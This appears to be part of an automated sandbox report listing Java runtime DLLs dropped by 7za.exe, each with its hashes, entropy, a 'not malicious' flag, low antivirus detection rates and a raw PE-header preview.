Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........f.4Z..gZ..gZ..g.}g^..gWUggX..gWUeg\..gWUZgW..gWU[g_..g..qg]..gZ..g...g'~Zg~..g'~[g...g'~fg[..gWUag[..g'~dg[..gRichZ..g........PE..L...uPjW...........!..............................m......................................@.........................@..........d.......................@........%...................................\..@...............,............................text...{........................... ..`.rdata..............................@..@.data...............................@....rsrc...............................@..@.reloc...%.......&..................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\javafx_iio.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	126016
Entropy (8bit):	6.608910794554507
Encrypted:	false
SSDEEP:	3072:oOxjjADzd+aeaPB9JhjxkM2wzGdXJbD/jn8Y6:ocKzeaPB9JhjxknwzG5JbDb8F
MD5:	01706B7997730EAA9E2C3989A1847CA6
SHA1:	7CEAD73CBE94E824FA5E44429B27069384BFDB41
SHA-256:	20533C66C63DA6C2D4B66B315FFCF5C93AE5416E3DAE68CDD2047EFE7958AB3A
SHA-512:	3272C8DE6C32D53372D481441DA81AE2B6EA02E8360B23D7F793B24827BD683A6604F43BE18CE2BEE40038FBE7D5F7AF78B2C465A51F82478D881DBEB5744DC2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........y.r..r..r.O...r..r..r.. ..r.. ..r.. 0.r.. 1.r...0.r.....r.. ..r.....r.Rich.r.........PE..L...vPjW...........!.........:.....................m................................c.....@.....................................<.......................@.......\...................................0...@............................................text... ........................... ..`.rdata..8(.......*..................@..@.data...............................@....rsrc...............................@..@.reloc..\...........................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\jawt.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	13888
Entropy (8bit):	6.274978807671468
Encrypted:	false
SSDEEP:	192:ahKnvndLwm3XLPVlD6yTUZnYe+PjPriT0fwdNJLkoRz:a4j7PVl1TAnYPLr7cLka
MD5:	0291BA5765EE11F36C0040B1F6E821FB
SHA1:	FFE1DCF575CCD0374DF005E9B01D89F6D7095833
SHA-256:	F8540BE2BBD5BDE7962D2FE4E7EC9EF9BF53D95B48781AE549AA792F10032485
SHA-512:	72ADDC631D8CF064E1B047B51EEF7F306CA959D24ED705065C33EE8DDDF7EA84B95B3DE5B0709015A81D36ACA01E15CE99A354D4069D4D798ED128A6A76D1010
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........X"._9LR_9LR_9LRD..R^9LRD..RS9LRD..RZ9LRVA.R]9LR_9MR\|9LRD..R\9LRD..R^9LRD..R^9LRD..R^9LRRich_9LR........PE..L...xPjW...........!......................... .....m.........................`............@..........................&..J...\"..P....@..................@....P..@.... ...............................!..@............ ...............................text............................... ..`.rdata..Z.... ......................@..@.data...`....0......................@....rsrc........@......................@..@.reloc..t....P......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\jdwp.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	163904
Entropy (8bit):	6.783788147675078
Encrypted:	false
SSDEEP:	3072:XrQPwE5tlGsXVomHvD+1febSICzqozXtrQwnNZkB+5:XU15tpX9HvsfrTtMwNWBY
MD5:	6E08D65F5CBB85E51010F36A84FC181D
SHA1:	4EEE8BE68BAAF6320AEA29131A1C0B322F09F087
SHA-256:	2D8658909D9E357A4B70FCF862D690EEC82A2F77161ABB021E0839C6A67D4825
SHA-512:	DF4494D062E9A8AC82D727D2722DCF32C3FC924FA104F384FA099ADB08ECBDEEA7A19245D779097C0AFCF51F84852328ED595C88380F42BD39560678C8AD9621
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........#..cp..cp..cp...p..cp...p..cp.D.p..cp..bp..cp.D.p..cp.D.p..cp.D.p..cp.D.p..cp.D.p..cp.D.p..cpRich..cp........................PE..L...{PjW...........!...............................m......................................@......................... ?..h...\|9..<....P...............h..@....`...)..@...............................(8..@...............,............................text............................... ..`.rdata..._.......`..................@..@.data...0....@.......4..............@....rsrc........P.......8..............@..@.reloc...+...`...,...<..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\jfr.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	22592
Entropy (8bit):	6.620820751411794
Encrypted:	false
SSDEEP:	384:YL4Z7lZRiY3PB6cGgOp2m1zq2oatSnPV5zYxkpLfsnYPLr7Ybc:E4PZRiY3PB6cVAebaMnd+ypLkC7Cc
MD5:	700F5789D2E7B14B2F5DE9FDB755762E
SHA1:	F35EDE3441D6E5461F507B65B78664A6C425E9AC
SHA-256:	D115EAF96BD41C7A46400DCFF7EF26AC99E3CF7A55A354855C86BAE5C69A895A
SHA-512:	664A442DD424CA04AC0CE072B9BBD5EF7C657B59A26403C44A856738F7998466BFE3010825A13451281841D39B0A34D8997EE24497D626EC60C19AA1AF0EE465
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........6...W..W..W../j.W...e.W..W..W....a.W...g.W...R.W...S.W...b.W...c.W...d.W..Rich.W..........PE..L...\|PjW...........!........."......T&.......0.....m.................................O....@.........................`>.......:..<....`...............@..@....p.. ....0...............................9..@............0...............................text...^........................... ..`.rdata..p....0....... ..............@..@.data........P.......6..............@....rsrc........`.......8..............@..@.reloc.......p.......<..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\jfxmedia.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	115264
Entropy (8bit):	6.588792190592223
Encrypted:	false
SSDEEP:	3072:2Cgsy+/cydqNiaZr+lOzZPh7/W4MCnc8Ioaa2yFWcC6vsx/8:FZOzZPh7/WSe+S6v+U
MD5:	8BC8FE64128F6D79863BC059D9CC0E2E
SHA1:	C1F2018F656D5500ACF8FA5C970E51A55004DA2E
SHA-256:	B77CD78FF90361E7F654983856EE9697FDC68A0F9081C06207B691B0C9AF1F5D
SHA-512:	6771F23ECF1A449EB6B0B394E0F1D3EB17C973FC0544BA25487C92F215ACC234FC31C9B7BE5528EFD06D29A35BB37DD7934318837576862ADFC2631B4D610A24
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............l..l..l..>7..l..>...l..>5..l..>...l...#..l..5..l..l.zl.....l.....l..4..l..>3..l..6..l.Rich.l.........PE..L...}PjW...........!.........\|......],.......@.....m................................~.....@.....................................x.......................@............................................h..@............@...............................text....-.......................... ..`.rdata..4Z...@...\...2..............@..@.data...4...........................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\jfxwebkit.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	33934912
Entropy (8bit):	6.35314231534845
Encrypted:	false
SSDEEP:	393216:VJ8d7SMzwH5R2sdDcBwHHdI4DKRlDsqXCagQZhzvilh2Wlq7ODI:VJ8d7zzUesdDtevn
MD5:	4D857A5FC9CA16D2A67872FACCF85D9F
SHA1:	EAEB632E526EFA946E4DB1B8CFA31DE6A7B03219
SHA-256:	7FFA7423DDA07499394B345E5ECE2D54C8E19247E6E76C0E23B5BF1470AB0D7F
SHA-512:	8DBC8675CE2DACE8D629C3FA66CF65704346AB829AE0B0A1D7B25BE22783B7E73624BA70F6D67264D6CA1656D7590E3753A8DF2227DA45112C5BD4A5654089AF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........O..z!..z!..z!.c...z!..(...z!..(...z!......z!..z!..z!..(..hz!..(...z!......z!. ...z!..z ..{!......p!......z!..(...z!......z!.Rich.z!.................PE..L...~PjW...........!......... $....................m......................................@.................................X...x.......@...............@..............................................@............................................text.............................. ..`.rdata...E.......F..................@..@.data..............................@....unwante............................@..@.rsrc...@...........................@..@.reloc.............................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\jli.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	158784
Entropy (8bit):	6.816453355323999
Encrypted:	false
SSDEEP:	3072:gLkNbBRaz4rQWiG6wMz9/S3en9pHUw06TBfkqI44:rNbB4Mcnv7z6en9pj06TB6
MD5:	73A76EC257BD5574D9DB43DF2A3BB27F
SHA1:	2C9248EAE2F9F5F610F6A1DFD799B0598DA00368
SHA-256:	8F19B1BA9295F87E701C46CB888222BB7E79C6EE74B09237D3313E174AE0154F
SHA-512:	59ECD5FCF35745BDADCDB94456CB51BB7EA305647C164FE73D42E87F226528D1A53CE732F5EC64CE5B4581FA8A17CFBFDC8173E103AE862D6E92EB3AD3638518
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................6...........0.....=............7....5.....4.....3....Rich............PE..L....PjW...........!...............................o................................Y.....@..........................3..m....*..d....................T..@............................................#..@............................................text...~........................... ..`.rdata...u.......v..................@..@.data....4...@......."..............@....rsrc................6..............@..@.reloc.."............:..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\jp2iexp.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	207424
Entropy (8bit):	6.630800216665857
Encrypted:	false
SSDEEP:	6144:ckZ5ktGCru8e6Y3RhNw0mjs+OBS7n7ACKRAHbW:ciIbS6Y37Nw0/QC
MD5:	475DD87198F9C48EFB08AAB4ADE8AF5A
SHA1:	9B657E0837639663D4D721F8C5E25401F11E7BEB
SHA-256:	32764005FCCE7D0E51801528F6B68C860979E08D027A5220DFEC19B2A8013354
SHA-512:	0B492B0FBADC14178A6F79A58E47C30D92B59B18414E38A7B119699D0788ACF3713F925CF0EC570BE3E29AB26BDB6B567C38526BC0603BA78ECC3E2952EA3E2B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........D......................;.....................+..............................................Rich...........................PE..L....PjW...........!.........>.....................o.........................P............@.............................................................@......../...................................C..@...............\|...........................text.../........................... ..`.rdata..............................@..@.data....,.......&..................@....rsrc...............................@..@.reloc...6.......8..................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\jp2native.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19008
Entropy (8bit):	6.372096409611824
Encrypted:	false
SSDEEP:	384:PTjlu57T5J5eFeYW7TPVlN3B+ASZQ4NNR7F3qnYPLr7om0:PnUd5eFeDfd5Sj7oC7om0
MD5:	4023E25F92B5F13E792901BF112A8EA2
SHA1:	31ADCD411905832B89EA55DEC8B9C83AF3C7D3EA
SHA-256:	432AEDAC59FA161FED5A5D95CA5F8CFD1D73A35ABE8A7090D137100F727B687B
SHA-512:	AD0E6F8071EB09E843989E637BACA988DD7706D84FC26DB7C2E18BBE03A78A6C5BFE4F1B28289B5929B2B86C53FB6C3DAE42523DC8EDE8057A8F431AEA77BB20
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............~fQ.~fQ.~fQ...Q.~fQ...Q.~fQ...Q.~fQ...Q.~fQ.~gQ.~fQ...Q.~fQ...Q.~fQ...Q.~fQ...Q.~fQ...Q.~fQRich.~fQ................PE..L....PjW...........!.........................0.....o.........................p.......8....@..........................8......43..P....P...............2..@....`.......1..............................P1..@............0.......2..@....................text............................... ..`.rdata..T....0......................@..@.data........@.......&..............@....rsrc........P.......*..............@..@.reloc..J....`......................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\jp2ssv.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	186944
Entropy (8bit):	6.612459610032652
Encrypted:	false
SSDEEP:	3072:XsSFQQB7SGWV2xrkvql6QPJD7mGVqjLypDTaDE5zwmFxy7HglbZrdIG:XJ97PxYAPJ/RV0tDCzw+xy0ldOG
MD5:	E9373908186D0DA1F9EAD4D1FDAD474B
SHA1:	C835A6B2E833A0743B1E8F6F947CFE5625FE791F
SHA-256:	E2FBD6C6334D4765FF8DFF5C5FE3DF8B50015D0BF9124142748FADB987B492FF
SHA-512:	BFDC236D462DAC45FD63C112E40558ED4E11E76FB4D713926A679FD573F67FA16451231A03178926B76BD267F092A33A3B6760CF4812DE2679BB9505B83F8261
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........B.+.#.x.#.x.#.x.mGx.#.x..Ax.#.x..ux3#.x.[Lx.#.x.[\x.#.x.#.x #.x.Utx.#.x..tx.#.x..Dx.#.x..Ex.#.x..Bx.#.xRich.#.x................PE..L....PjW...........!................K........ .....o................................,j....@................................. ...d.......................@............"...............................f..@............ ..P...L\|.......................text...\........................... ..`.rdata...m... ...n..................@..@.data....5...........z..............@....rsrc...............................@..@.reloc...%.......&..................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\jpeg.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	145984
Entropy (8bit):	6.69725055196282
Encrypted:	false
SSDEEP:	3072:S2yRKm4/j/dKLnjHy7OMD+MqS1RYio7+oD33GnUV0fem2M:S2ytqlYnjHehDzqiq+oD33OUV8Vx
MD5:	4294D39CC9E5F23754D41B9DDE710112
SHA1:	1BAA1E136F18108AB4E31EC005DEC54FC3F23A7C
SHA-256:	DE3EEDED01B35DC7C29B0B758211BB1DB73CCFFB9298D281DAF56924ED9E93CB
SHA-512:	E88DFF129DD35445B32A2DBCAB97CF752E9ACDF82FF88B184FA6D3B461D55BD2D195794802C5BA5E7EFFA086DC89E0C2CEF0C8B0BFA29AC70B75CFB1B4B0584C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........:.j.i.j.i.j.i..5i.j.i..8i.j.i...i.j.i..:i.j.i.j.i.j.i...i.j.i..=i.j.i..<i.j.i..;i.j.iRich.j.i................PE..L....PjW...........!.........P......)..............o.........................`............@.........................."..X.......P....@..............."..@....P..........................................@............................................text...N........................... ..`.rdata...9.......:..................@..@.data........0......................@....rsrc........@......................@..@.reloc..4....P......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\jsdt.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	16448
Entropy (8bit):	6.482296988184946
Encrypted:	false
SSDEEP:	384:n11I27Bf0jeZy+hiqEyRoPV527rBnYPLr7/U:nrJfYqodYJC78
MD5:	4BDF31D370F8A893A22820A3B291CC1D
SHA1:	BD27656B42F881EEE1940CFE15CF84C1938B57BA
SHA-256:	C98DFAC99CC1E05D5F86B2577031A7624DCC13D0A8344B2855F166335177BC16
SHA-512:	51623274C13DA71AD01DBAD7950444B512F08C3DC04E27F0321DF02E9F3C4DFB308DEF35F58524CCCCE79ED2A8859D85C16DC0D9BEA378E5538E23602D35AA76
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........{.m..d>..d>..d>.b.>..d>...>..d>..e>..d>...>..d>...>..d>...>..d>...>..d>...>..d>...>..d>Rich..d>........................PE..L....PjW...........!.........................0.....o.........................p......n.....@.........................P8..:....4..<....P...............(..@....`.......0...............................3..@............0...............................text............................... ..`.rdata.......0......................@..@.data...`....@....... ..............@....rsrc........P......."..............@..@.reloc.......`.......&..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\jsound.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	30784
Entropy (8bit):	6.609051738644882
Encrypted:	false
SSDEEP:	384:mk87qhVj8sqgP7CRLMOPfkGo7UdJs0flkg2uG8RPGHTR5ny5pnYPLr7z:mk87qhVjaMOPJdJFflLJR+V03C7z
MD5:	7BD914407C6D236B27865A8C63147B7F
SHA1:	9B49E48705341D30E3F92B85652E924C7985E415
SHA-256:	549849DC910261D817670B192715430395993E811D0FD3103651237D7F18929D
SHA-512:	624DC95F696BEA311726EAFB0017F363C8703B95A2E08DE984C642867888CF5B9172326C2E2567ED4A2EA28F806B633840552C80BE49EB6CF2A8FC4A0C259117
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......U.Nu.h &.h &.h &...&.h &...&.h &...&.h &.h!&_h &...&.h &...&.h &...&.h &...&.h &...&.h &Rich.h &........PE..L....PjW...........!.....8...(.......A.......P.....o.................................G....@.........................P^.......V..P....................`..@...........`Q...............................U..@............P..D............................text...66.......8.................. ..`.rdata.. ....P.......<..............@..@.data...$....p.......V..............@....rsrc................X..............@..@.reloc...............\..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\jsoundds.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	27712
Entropy (8bit):	6.6264206752006825
Encrypted:	false
SSDEEP:	768:hgWe1DWI+mB7JkJKe3xVF2XNbuHEqe8yIGn3zY9pcQ/oGmEsg0sqkgiHmNs2Qd6X:qWbEK1Ms2dYJG
MD5:	6280201C1918EA3293919BB282D2B563
SHA1:	3F6F5299A435E2A0C36BE8AAD4CB2FCAACD0897D
SHA-256:	0711127A297E4CC1927D77013FC040CAA26930C34A4C7B4D7631BCE9C8041B74
SHA-512:	A4C4507ED4FDEC038FAFA62970161E7B75FF9A2ABBDF854ED55483144DCDC0FC9D21235FDDDF1B38303723F9C615AE388397C4D17B5391D8827A5B40AC52C5FC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............q...q...q.......q.......q.......q...q...q....=..q....<..q.......q.......q.......q..Rich.q..........................PE..L....PjW...........!.....6...$.......?.......P.....o................................p;....@.........................0Y.......S.......p...............T..@.......0....Q...............................R..@............P...............................text...f4.......6.................. ..`.rdata.......P.......:..............@..@.data...L....`.......J..............@....rsrc........p.......L..............@..@.reloc...............P..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\kcms.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	178240
Entropy (8bit):	6.793245389378621
Encrypted:	false
SSDEEP:	3072:gWosiKTxga2KtpdhEnGF5PNyR0BxDxxKF5HkEWnuYsauj9Fom1QB:3RRKAtpdhEn/0BzwFpvYm0z
MD5:	BF299F73480AF97A750492E043D1FADD
SHA1:	C93C4A2DAE812F31603E42D70711D3B6822F9E8E
SHA-256:	0334E3B7AE677116B92516172D0CA905723DAF847D8B3B0DC3FC118EDC703D51
SHA-512:	7265783F0DD653DBC4693D5EFEB156281620C5421F29910F14C22B75A936233E9E897087E64B641335795484837F28F113EE9F380027698A898F19115FD0F648
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........:..di..di..di.k.i..di.k.i..di...i..di.k.i..di..ei..di.k.i..di.k.i..di.k.i..di.k.i..diRich..di................PE..L...pPjW...........!.....^...F.......g.......p.....o.................................Z....@.............................d....x..P.......h...............@....... ...`q..............................pw..@............p..H............................text....\.......^.................. ..`.rdata.......p.......b..............@..@.data................v..............@....rsrc...h...........................@..@.reloc.. ...........................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\lcms.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	185920
Entropy (8bit):	6.517453559791758
Encrypted:	false
SSDEEP:	3072:pmxoFzYbnERrNyf0VCyqp2pswAG8wJfV1cnrQKUCc9rBTq/bKQcUMZ:koFJcQCyuZG8wdKcLgbDcU6
MD5:	D4246AF96E1FFA5E63C55E6F0A63ED82
SHA1:	30F319CEBD7BCCCFC3637231D07F45BD5A79B03E
SHA-256:	84576AAC88D08E864645415D8A81F4B8F04C881B7624973C952BA6BCB94F4C8C
SHA-512:	92EDFE62BE5BDDC47EC51B01F8FE71C69691423ABECBB358A972766ACCDC8F9365C064FD0A7833C8853EDD5DED51791A7662584DB5F54BE3586AC2787160FA6A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......AE.m.$z>.$z>.$z>.\.>.$z>...>.$z>...>.$z>...>.$z>.${>T$z>...>"$z>...>.$z>...>.$z>...>.$z>Rich.$z>........................PE..L...pPjW...........!.................%.......0.....o......................................@..........................P..h...LK..d.......................@.......$... 1...............................I..@............0...............................text............................... ..`.rdata..H#...0...$... ..............@..@.data....h...`...\...D..............@....rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\management.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	33344
Entropy (8bit):	6.5580840927675945
Encrypted:	false
SSDEEP:	768:5TuVpsEkV3/azbYJHf2ZdCwhxKdv0tCFC7dRb:5YQV3/az8x2HCSScC4dRb
MD5:	EFF31A13A4A5D3E9A5BD36E7349D028B
SHA1:	8E47BE8C1CE4DFD73B7041679E96EA4A17DDB4C0
SHA-256:	307B816892FDD9BAD9E28953E1BBB4BCE35C8F8CA783C369D7EB52A22BCC4229
SHA-512:	72148C757624868D3866C40B31149CCA171737D82ADBCDF2C8FB03A9D8F3C1CEA2B2FC5137DD11DAAD2328D3AF8FAE43568DCCD843664BC43323F9357B67B6A0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\j.29.29.29w..9.29...9.29...9.29..9.29...9.29.39..29...9..29...9.29...9.29...9.29Rich.29........PE..L...pPjW...........!.....,...>......H6.......@.....o................................T.....@..........................T.......K.......................j..@...........pA..............................XJ..@............@..P............................text...^+.......,.................. ..`.rdata...-...@.......0..............@..@.data...@....p.......^..............@....rsrc................`..............@..@.reloc...............d..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\mlib_image.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	574528
Entropy (8bit):	6.508068830472597
Encrypted:	false
SSDEEP:	12288:NtKMEr1LBBgPcvhwhtRtL+tKJZetu4zxLukaMevlOjPMat4+8NMutQaLqqiINw3X:NtKMEr1VBgPcvhwhtRtL+tkZezxLuQeS
MD5:	5E1B7D0ACCB4275DEAB6312AA246CB3E
SHA1:	488A5CB9D9C0CF27824DF32B9B76D4F67F6FB485
SHA-256:	9FC49B3F6FD11A2B2B92748C24F21721D1011B1920D092E38AF4021102125543
SHA-512:	5A875DD4731E862F753EBB987593DC61D39DD3D3D13CDED284DE27DD09AFA946FA96824AC194EC0DD45AA2CE0D56637A5522F49F28F3C89B7F5248D389B1B62E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........Y...8i.8i.8i.@..8i....8i.8h.8i....8i....8i.....8i....8i....8i....8i.Rich.8i.........PE..L...pPjW...........!...............................o.....................................@......................... ..."......<.......................@...........................................p...@............................................text............................... ..`.rdata..B...........................@..@.data...,...........................@....rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\msvcp120.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	455328
Entropy (8bit):	6.698367093574994
Encrypted:	false
SSDEEP:	12288:uZ/8wcqw2oe+Z3VrfwfNOOoWhUgiW6QR7t5ss3Ooc8DHkC2e77/:W/8wVwHZFTwFOOos3Ooc8DHkC2e77/
MD5:	FD5CABBE52272BD76007B68186EBAF00
SHA1:	EFD1E306C1092C17F6944CC6BF9A1BFAD4D14613
SHA-256:	87C42CA155473E4E71857D03497C8CBC28FA8FF7F2C8D72E8A1F39B71078F608
SHA-512:	1563C8257D85274267089CD4AEAC0884A2A300FF17F84BDB64D567300543AA9CD57101D8408D0077B01A600DDF2E804F7890902C2590AF103D2C53FF03D9E4A5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......o...+.N+.N+.N.3wN).N+.N..Nm.aN(.Nm.cN#.Nm.]N..Nm.\Ne.Nm.YN-.Nm.`N.Nm.gN.Nm.bN*.NRich+.N........................PE..L....\|OR.........."!.........................0.......................................x....@..........................W..L...<...<........................>.......D...................................K..@...............<............................text...<........................... ..`.data....^...0...0... ..............@....idata...............P..............@..@.rsrc................j..............@..@.reloc...D.......F...n..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\msvcr100.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	773968
Entropy (8bit):	6.901569696995594
Encrypted:	false
SSDEEP:	12288:yMmCy3nAgPAxN9ueqix/HEmxsvGrif8ZSy+rdQw2QRAtd74/vmYK6H3BV0eAI:dmCy3KxW3ixPEmxsvGrm8Z6r+JQPzV4I
MD5:	BF38660A9125935658CFA3E53FDC7D65
SHA1:	0B51FB415EC89848F339F8989D323BEA722BFD70
SHA-256:	60C06E0FA4449314DA3A0A87C1A9D9577DF99226F943637E06F61188E5862EFA
SHA-512:	25F521FFE25A950D0F1A4DE63B04CB62E2A3B0E72E7405799586913208BF8F8FA52AA34E96A9CC6EE47AFCD41870F3AA0CD8289C53461D1B6E792D19B750C9A1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
